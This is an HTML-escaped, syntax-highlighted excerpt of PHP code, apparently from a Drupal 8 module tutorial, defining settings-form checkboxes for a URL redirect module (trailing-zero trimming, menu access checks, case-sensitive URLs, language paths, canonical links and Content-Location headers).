&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#description&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;If enabled, any instance of &quot;/0&quot; will be trimmed from the right of the URL. This stops duplicate pages such as &quot;taxonomy/term/1&quot; and &quot;taxonomy/term/1/0&quot; where 0 is the default depth. There is an option of limiting this feature to taxonomy term pages ONLY or allowing it to effect any page. **By default this feature is disabled to avoid any unexpected behavior. Also of note, the trailing /0 &quot;depth modifier&quot; was removed from Drupal 7.**&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#options&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	      &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Disabled&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	      &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Enabled for all pages&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	      &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Enabled for taxonomy term pages only&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    ),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#default_value&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; $settings[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;trailing_zero&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	  );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	  $form[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;settings&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;][&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;menu_check&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#type&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;checkbox&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#title&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Menu Access Checking&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#description&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;If enabled, the module will check the user has access to the page before redirecting. This helps to stop redirection on protected pages and avoids giving away _secret_ URL&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\&apos;&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;s. **By default this feature is disabled to avoid any unexpected behavior**&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#default_value&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; $settings[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;menu_check&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	  );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	  $form[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;settings&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;][&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;case_sensitive_urls&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#type&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;checkbox&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#title&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Case Sensitive URL Checking&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#description&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;If enabled, the module will compare the current URL to the alias stored in the system. If there are any differences in case then the user will be redirected to the correct URL.&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#default_value&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; $settings[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;case_sensitive_urls&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	  );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	  $form[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;settings&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;][&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;language_redirect&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#type&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;checkbox&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#title&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Language Path Checking&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#description&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;If enabled, the module will check that the page being viewed matches the language in the URL or the system default. For example, viewing a French node while the site is in English will cause a redirect to the English node.&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#default_value&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; $settings[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;language_redirect&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	  );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	  $form[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;settings&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;][&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;canonical&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#type&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;checkbox&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#title&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Add Canonical Link&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#description&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;If enabled, will add a [canonical link](http://enginx.com/blog/drupal-8-module-development-3-adding-settings-page-revision/!canonical) to each page.&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;!canonical&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#default_value&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; $settings[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;canonical&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	  );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	  $form[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;settings&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;][&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;content_location_header&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#type&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;checkbox&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#title&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Set Content Location Header&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#description&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;If enabled, will add a [Content-Location](http://enginx.com/blog/drupal-8-module-development-3-adding-settings-page-revision/!canonical) header.&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;!canonical&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.14&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#default_value&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; $settings[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;content_location_header&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	  );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
